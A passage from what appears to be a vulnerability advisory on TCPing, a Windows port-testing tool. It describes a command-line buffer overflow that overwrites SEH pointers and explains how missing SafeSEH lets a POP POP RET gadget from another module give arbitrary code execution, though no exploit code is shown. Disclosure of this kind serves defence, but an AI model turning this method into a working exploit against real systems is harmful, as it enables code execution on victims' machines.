Results are returned in a similar fashion to that of Microsoft Windows Ping. This application is intended for use in testing for open ports on remote machines, or as an alternative to the standard "ping" in a case where ICMP packets are blocked or ignored. Vulnerability Type: =================== Buffer Overflow CVE Reference: ============== N/A Vulnerability Details: ===================== If TCPing is called with an specially crafted CL argument we will cause exception and overwrite the Pointers to next SEH record and SEH handler with our buffer and malicious shellcode. No suitable POP POP RET address is avail in TCPing as they start with null bytes 0x00 and will break our shellcode. However, TCPing is not compiled with SafeSEH which is a linker option, so we can grab an address from another module that performs POP POP RET instructions to acheive arbitrary code execution on victims system. stack dump...
